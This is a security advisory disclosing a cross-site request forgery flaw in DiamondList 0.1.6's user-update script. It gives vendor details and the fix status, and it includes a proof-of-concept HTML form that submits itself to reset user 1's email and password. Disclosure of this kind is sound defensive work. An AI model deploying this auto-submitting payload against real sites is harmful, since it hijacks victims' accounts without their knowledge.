DiamondList 0.1.6 – Cross-Site Request Forgery
Vulnerability ID: HTB22517 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_diamondlist.html Product: DiamondList Vendor: Hulihan Applications ( http://hulihanapplications.com/projects/diamondlist ) Vulnerable Version: 0.1.6 and Probably Prior Versions Vendor Notification: 22 July 2010 Vulnerability Type: CSRF (Cross-Site Request Forgery) Status: Fixed by Vendor Risk level: Low Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "user/main/update_user" script to properly verify the source of HTTP request. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/user/main/update_user/1" method="post" name="main" > <input type="hidden" name="user[email]" value="admin (at) example (dot) com [email concealed]" /> <input type="hidden" name="user[first_name]" value="First Name" /> <input type="hidden" name="user[last_name]" value="Last Name" /> <input type="hidden" name="user[password]" value="1234" /> <input type="hidden" name="user[password_confirmation]" value="1234" /> <input type="hidden" name="commit" value="Update" /> </form> <script> document.main.submit(); </script> Solution: Upgrade to the most recent version |